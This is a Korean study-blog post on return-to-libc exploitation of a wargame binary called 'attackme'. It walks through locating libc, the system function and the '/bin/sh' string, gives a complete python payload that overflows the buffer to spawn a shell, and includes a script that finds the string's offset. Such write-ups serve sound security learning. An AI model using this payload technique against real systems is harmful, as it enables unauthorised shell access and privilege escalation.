constWORLDant

rtl 공부 본문

0x04 pwnable

rtl 공부

data type ConS_tanT 2017.11.27 19:21

ldd -> libc 경로 알 수 있음 

(ldd는 지정한 프로그램의 라이브러리 의존성을 확인할 때 사용한다고 한다.)

지금 내 프로그램에서 사용중인 라이브러리를 알기 위해  ldd ./attackme를 명령으로 입력한 것


사용중인 라이브러리 libc.so.6


ldd attackme 


원리:

ldd attackme를 하게 되면 베이스주소를 알 수가 있고 

베이스주소만으로는 진행할 수 없기 때문에 해당 라이브러리 libc.so.6안에 있는 /bin/sh의 오프셋 주소를 얻어와서 

베이스 + 오프셋 하여 '/bin/sh'이 등록되어 있는 메모리 주소를 알아내야 한다.

즉, libc내의 함수주소를 얻어오는 거다.


그 주소를 알아냈다면, dummy와 system + dummy + bin/sh의 오프셋을 이용하여 해당 프로그램이 /bin/sh을 실행할 수 있게 한다.




libc base 0x42000000 


gdb 들어가서 print system 하면 된다

system  0x4203f2c0 



bin_sh off 0x127ea4


bin_sh addr = libcbase+bin_sh off



shell code + dummy + shelladdr = 0x42127ea4


기억해야할 것

[아는동생] [오후 7:05] 아까 변수거리가 ebp-264였으니

[아는동생] [오후 7:05] dummy size =(264+4)


 ** 변수 거리 항상 체크할 것 


더미를 넣어주는 이유는 system함수나 execl 함수는 ebp+8위치의 인자를 인식한다.




----

ebp+4 = eip

ebp+8 = 함수의 첫번째 인자

ebp+c = 함수의 두번째 인자

----               

                  [dummy size] [libc에서 알아낸 시스템 주소] [dummy 4개] [libc에서 알아낸 /bin/sh주소]                     

(python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42"' cat)| ./attackme

--------------------------------------------


/bin/sh주소알아내는 python code 


f = open("./libc.so.6","r")


data = f.read(10000000)


print hex(data.index("/bin/sh\x00")) 


'0x04 pwnable' 카테고리의 다른 글

bof 기초  (0) 2017.11.27
rtl 공부 2  (0) 2017.11.27
rtl 공부  (0) 2017.11.27
Main HEAP and Thread HEAP  (0) 2017.10.30
공부 내용  (0) 2017.10.23
Lord of Bof 2번 문제  (0) 2017.07.07
0 Comments
댓글쓰기 폼